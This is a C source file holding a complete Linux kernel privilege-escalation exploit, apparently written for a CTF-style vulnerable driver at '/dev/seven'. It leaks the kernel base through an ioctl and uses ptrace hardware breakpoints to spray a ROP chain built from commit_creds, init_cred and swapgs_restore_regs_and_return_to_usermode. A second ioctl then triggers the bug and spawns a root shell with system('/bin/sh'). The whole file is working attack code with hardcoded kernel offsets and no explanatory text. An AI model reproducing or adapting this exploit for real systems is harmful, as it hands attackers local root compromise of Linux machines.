#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}